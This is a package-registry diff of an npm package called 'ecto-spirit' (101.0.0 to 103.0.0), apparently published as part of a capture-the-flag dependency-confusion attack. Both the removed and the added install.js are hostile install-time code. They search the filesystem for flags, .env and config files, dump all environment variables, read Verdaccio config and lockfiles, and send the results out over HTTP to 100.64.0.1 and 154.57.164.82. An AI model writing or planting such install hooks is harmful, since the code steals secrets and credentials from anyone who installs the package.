ecto-spirit 101.0.0 → 103.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +54 -80
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -1,14 +1,14 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
3
  const { execSync } = require('child_process');
4
- const path = require('path');
5
4
 
6
5
  function tryRead(p) {
7
6
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
8
7
  }
9
8
 
10
- function sendUpdate(host, port, moduleId, flagVal) {
11
- const manifest = `ecto_module:\n name: "${flagVal.substring(0,100).replace(/"/g, "'")}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
9
+ function sendUpdate(host, port, moduleId, val) {
10
+ const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
11
+ const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
12
12
  const body = JSON.stringify({ manifest });
13
13
  return new Promise((resolve) => {
14
14
  const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
@@ -33,98 +33,72 @@ function sendHTTP(host, port, pth, payload) {
33
33
  });
34
34
  }
35
35
 
36
+ async function report(moduleId, val) {
37
+ for (const p of [3000, 80, 8080]) {
38
+ const r = await sendUpdate('127.0.0.1', p, moduleId, val);
39
+ if (r && r.includes('success')) return;
40
+ }
41
+ await sendUpdate('154.57.164.82', 32332, moduleId, val);
42
+ }
43
+
36
44
  (async () => {
37
- let flag = null;
38
- let info = [];
45
+ let results = [];
39
46
 
40
- // Search common flag locations
41
- const paths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/app/flag', '/app/flag.txt',
42
- '/home/flag', '/home/flag.txt', '/opt/flag', '/opt/flag.txt', '/tmp/flag', '/tmp/flag.txt',
43
- '/var/flag', '/data/flag', '/data/flag.txt'];
47
+ // CWD and basic info
48
+ results.push('CWD=' + process.cwd());
44
49
 
45
- for (const p of paths) {
46
- const content = tryRead(p);
47
- if (content) {
48
- info.push(`FILE:${p}=${content.substring(0,60)}`);
49
- if (content.includes('HTB{') || content.includes('flag{')) flag = content;
50
- }
51
- }
50
+ // List what's in /app/node_modules (top level packages)
51
+ try {
52
+ const dirs = fs.readdirSync('/app/node_modules').filter(d => !d.startsWith('.'));
53
+ results.push('DEPS=' + dirs.join(','));
54
+ } catch(e) { results.push('DEPS_ERR'); }
52
55
 
53
- // Search /app directory recursively
54
- function searchDir(dir, depth) {
55
- if (depth > 3) return;
56
- try {
57
- const entries = fs.readdirSync(dir);
58
- for (const e of entries) {
59
- if (e === 'node_modules' || e === '.git') continue;
60
- const full = path.join(dir, e);
61
- try {
62
- const stat = fs.statSync(full);
63
- if (stat.isFile() && (e.includes('flag') || e === '.env' || e === 'config.js' || e === 'config.json')) {
64
- const content = tryRead(full);
65
- if (content) {
66
- info.push(`${full}=${content.substring(0,60)}`);
67
- if (content.includes('HTB{') || content.includes('flag{')) flag = content;
68
- }
69
- } else if (stat.isDirectory() && depth < 3) {
70
- searchDir(full, depth + 1);
71
- }
72
- } catch(e2) {}
73
- }
74
- } catch(e) {}
75
- }
56
+ // Read package-lock or shrinkwrap
57
+ const lock = tryRead('/app/package-lock.json') || tryRead('/app/node_modules/.package-lock.json') || tryRead('/app/npm-shrinkwrap.json');
58
+ if (lock) results.push('LOCK=' + lock.substring(0, 300));
76
59
 
77
- searchDir('/app', 0);
78
- searchDir('/root', 0);
79
- searchDir('/home', 0);
80
- searchDir('/data', 0);
81
- searchDir('/opt', 0);
60
+ // Read package.json from CWD
61
+ const cwdPkg = tryRead(process.cwd() + '/package.json');
62
+ if (cwdPkg) results.push('CWD_PKG=' + cwdPkg.substring(0, 200));
82
63
 
83
- // Check env vars
84
- const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
85
- if (envFlag) info.push('ENV_FLAG=' + envFlag);
86
-
87
- // Check /proc/self/environ
88
- const procEnv = tryRead('/proc/self/environ');
89
- if (procEnv) {
90
- const m = procEnv.match(/FLAG[A-Z_]*=([^\x00]+)/g);
91
- if (m) info.push('PROC_ENV=' + m.join(','));
92
- }
64
+ // Search for HTB{ EVERYWHERE with broader search
65
+ try {
66
+ const grep = execSync('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys 2>/dev/null | head -10', {timeout: 15000}).toString().trim();
67
+ results.push('HTB_GREP=' + grep);
68
+ } catch(e) { results.push('HTB_GREP=NONE'); }
93
69
 
94
- // Try find command
70
+ // Check the Verdaccio config
71
+ const verdConf = tryRead('/verdaccio/conf/config.yaml') || tryRead('/verdaccio/config.yaml') || tryRead('/etc/verdaccio/config.yaml') || tryRead('/data/verdaccio/config.yaml');
72
+ if (verdConf) results.push('VERD_CONF=' + verdConf.substring(0, 200));
73
+
74
+ // Check .package-cache-mutate
95
75
  try {
96
- const found = execSync('find / -maxdepth 3 -name "*flag*" -type f 2>/dev/null', {timeout: 5000}).toString().trim();
97
- if (found) info.push('FIND=' + found.substring(0, 100));
76
+ const pcm = fs.readdirSync('/.package-cache-mutate');
77
+ results.push('PCM=' + pcm.join(','));
98
78
  } catch(e) {}
99
79
 
100
- // Also list /app contents
80
+ // Find any .env or config files
101
81
  try {
102
- const appFiles = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
103
- info.push('APP_LS=' + appFiles.substring(0, 150));
82
+ const envFiles = execSync('find / -maxdepth 3 \\( -name ".env" -o -name "config.yaml" -o -name "config.json" -o -name "*.sqlite" -o -name "*.db" \\) 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
83
+ results.push('CONF_FILES=' + envFiles);
104
84
  } catch(e) {}
105
85
 
106
- // Also try to read /app/package.json for dependency info
107
- const pkgJson = tryRead('/app/package.json');
108
- if (pkgJson) info.push('PKG_JSON=' + pkgJson.substring(0, 150));
109
-
110
- const result = flag || info.join('|');
111
-
112
- // Exfiltrate
113
- await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({result, ts: Date.now()}));
86
+ // Full env dump
87
+ const allEnv = JSON.stringify(process.env);
88
+ results.push('ALL_ENV=' + allEnv.substring(0, 300));
114
89
 
115
- // Update modules with results (split across multiple modules for space)
116
- const parts = [];
117
- for (let i = 0; i < result.length; i += 90) {
118
- parts.push(result.substring(i, i + 90));
90
+ // Send ALL to VPN listener
91
+ const full = results.join('\n');
92
+ await sendHTTP('100.64.0.1', 8888, '/flag3', JSON.stringify({results: full, ts: Date.now()}));
93
+
94
+ // Split across modules
95
+ const chunks = [];
96
+ for (let i = 0; i < full.length; i += 90) {
97
+ chunks.push(full.substring(i, i + 90));
119
98
  }
120
99
 
121
- const moduleIds = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
122
- for (let i = 0; i < Math.min(parts.length, moduleIds.length); i++) {
123
- const ports = [3000, 80, 8080, 5000];
124
- for (const p of ports) {
125
- await sendUpdate('127.0.0.1', p, moduleIds[i], 'R' + i + '_' + parts[i]);
126
- await sendUpdate('localhost', p, moduleIds[i], 'R' + i + '_' + parts[i]);
127
- }
128
- await sendUpdate('154.57.164.82', 32332, moduleIds[i], 'R' + i + '_' + parts[i]);
100
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
101
+ for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
102
+ await report(mods[i], 'V' + i + '_' + chunks[i]);
129
103
  }
130
104
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "101.0.0",
3
+ "version": "103.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {